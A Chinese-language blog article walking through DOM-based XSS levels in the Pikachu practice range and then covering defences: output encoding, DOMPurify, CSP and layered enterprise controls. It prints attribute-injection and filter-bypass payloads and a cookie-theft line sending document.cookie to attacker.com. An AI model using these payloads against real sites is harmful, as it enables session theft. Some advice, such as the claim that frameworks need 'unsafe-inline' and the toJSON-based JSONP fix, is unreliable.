当前位置：首页 > news >正文

Pikachu靶场实战：DOM型XSS漏洞攻防解析

news 2026/4/16 7:15:24

1. DOM型XSS漏洞初探：从原理到危害

第一次接触DOM型XSS时，我完全被它"神出鬼没"的特性搞懵了。和传统XSS不同，这种漏洞的攻击过程完全在浏览器端完成，服务器日志里根本找不到攻击痕迹。记得有次在Pikachu靶场测试时，明明输入了恶意脚本却看不到任何网络请求，当时还以为自己操作错了。

DOM型XSS的核心在于浏览器解析DOM时的动态操作。举个例子，就像有个看不见的编辑在实时修改你收到的杂志内容。当网站使用innerHTML、document.write等API动态修改页面时，如果未对用户输入进行处理，攻击者就能注入恶意脚本。在Pikachu靶场的DOM-X关卡中，点击"what do you see"链接触发弹窗的过程，就是典型的DOM操作被恶意利用。

这种漏洞最危险的特点是它的"隐身"能力。去年某电商平台就因此中招，攻击者通过修改URL片段（#后面的部分）窃取用户支付信息，由于攻击载荷根本不发送到服务器，传统WAF完全无法防御。在Pikachu靶场第5关，我们能看到这种攻击的简化版本——只需构造特殊的URL发给受害者，点击就会触发恶意代码。

2. Pikachu靶场实战：解剖两个经典DOM-XSS案例

2.1 案例一：DOM型XSS基础关卡

打开Pikachu第4关，表面看就是个普通输入框。我最初直接输入<script>alert(1)</script>，结果只看到个莫名其妙的链接。通过查看网页源码才发现玄机——开发者用JavaScript动态拼接了HTML字符串：

var str = document.getElementById("text").value; document.getElementById("dom").innerHTML = '<a href="' + str + '">what do you see?</a>';

这里的关键漏洞在于直接将用户输入拼接到href属性。我尝试输入#' onclick="alert(111)">，成功闭合了属性并插入事件处理器。点击链接时，浏览器会先执行我们的onclick代码而不是跳转。这个案例教会我：任何将用户输入直接传递给DOM API的操作都是高危的。

2.2 案例二：DOM-X型进阶利用

第5关看起来和第4关很像，但有个关键区别——输入内容会出现在URL中。这意味着攻击者可以构造恶意链接传播。通过分析源码发现：

var xx = window.location.search.split('=')[1]; document.getElementById("dom").innerHTML = '<a href="' + xx + '">有些费尽心机想要忘记的事情...</a>';

我使用同样的payload#' onclick="alert(111)">，发现点击链接后成功触发弹窗。更危险的是，这个URL可以被分享给其他用户。这就解释了为什么某些钓鱼攻击中，受害者只是点了个"正常链接"就中招了。在实际渗透测试中，我常用这种技术模拟cookie窃取：

#' onclick="fetch('http://attacker.com/steal?data='+document.cookie)">

3. 防御之道：从黑名单到安全编码实践

3.1 输入验证的陷阱

早期我做防护时，第一反应是用黑名单过滤<script>等标签。但在Pikachu第7关就栽了跟头——攻击者可以用<img src=x onerror=alert(1)>绕过。后来发现更隐蔽的payload比如：

<svg/onload=alert(1)> <div onmouseover=alert(1)>

这些案例让我明白：基于黑名单的过滤永远会有漏网之鱼。现在我的做法是结合白名单验证，比如只允许特定的字符集，或者对特定场景（如URL参数）强制格式校验。

3.2 输出编码的正确姿势

在Pikachu第8关，htmlspecialchars函数默认不编码单引号，导致onclick事件注入成功。这给我上了重要一课：安全函数使用不当等于没用。现在我会根据输出位置选择编码方式：

HTML正文：使用HTML实体编码
HTML属性：除了编码还要用引号包裹
JavaScript字符串：使用Unicode转义
URL参数：进行百分比编码

比如在Node.js中处理输出时：

// HTML编码 function htmlEncode(str) { return str.replace(/&/g, '&amp;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;') .replace(/"/g, '&quot;') .replace(/'/g, '&#39;'); } // URL编码 function safeUrl(str) { if(!/^https?:\/\//.test(str)) throw new Error('Invalid URL'); return encodeURIComponent(str); }

4. 现代前端框架中的DOM-XSS防护

4.1 React/Vue的自动防护与漏洞

刚开始用React时，我以为有了JSX就高枕无忧了，直到发现dangerouslySetInnerHTML这个后门。有次在项目中需要渲染富文本，直接用了这个API导致XSS漏洞。现在我的处理流程是：

服务端：使用DOMPurify清理HTML
前端：对动态内容强制类型校验
代码审查：禁止直接使用innerHTML等API

比如在Vue中的安全实践：

// 安全做法 <template> <div v-html="purifiedContent"></div> </template> <script> import DOMPurify from 'dompurify'; export default { computed: { purifiedContent() { return DOMPurify.sanitize(this.userInput); } } } </script>

4.2 CSP策略的实战配置

内容安全策略(CSP)是最后的防线，但在Pikachu靶场练习时，我经常因为配置不当导致合法资源被拦截。有效的CSP应该包含：

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' cdn.example.com; style-src 'self' 'unsafe-inline'; img-src *; connect-src 'self'; frame-ancestors 'none'; form-action 'self';

特别注意：现代前端框架需要启用'unsafe-inline'，但可以通过nonce机制增强安全性。在Nginx中的配置示例：

add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-$request_id'";

5. 从靶场到实战：企业级防护方案

在真实企业环境中，我总结出多层次的防御体系：

开发阶段：
- 使用ESLint插件扫描危险API调用
- 代码审计时重点关注所有sink点（eval、innerHTML等）
- 建立安全组件库封装危险操作
测试阶段：
- 自动化DAST扫描覆盖所有用户输入点
- 人工测试尝试DOM-XSS特有payload
- 监控console错误发现潜在注入点
生产环境：
- 部署WAF+RAST组合防护
- 实时监控DOM操作异常
- 定期更新CSP策略

某次金融项目审计中，我发现看似无害的JSONP接口竟能导致DOM-XSS。通过覆写Array.prototype.toJSON方法，攻击者可以污染JSON响应。最终我们通过以下方案解决：

// 安全JSON处理方案 const originalToJSON = Array.prototype.toJSON; Array.prototype.toJSON = undefined; // 临时禁用 try { const data = JSON.parse(response); // 业务处理... } finally { Array.prototype.toJSON = originalToJSON; // 恢复 }

在持续对抗XSS的战斗中，我深刻体会到：没有银弹，只有层层设防的安全纵深。每次在Pikachu靶场发现新技巧，都会促使我改进防御策略。建议每个前端开发者都把DOM-XSS防护作为必修课，毕竟浏览器才是离用户最近的安全前线。

查看全文

http://www.jsqmd.com/news/648861/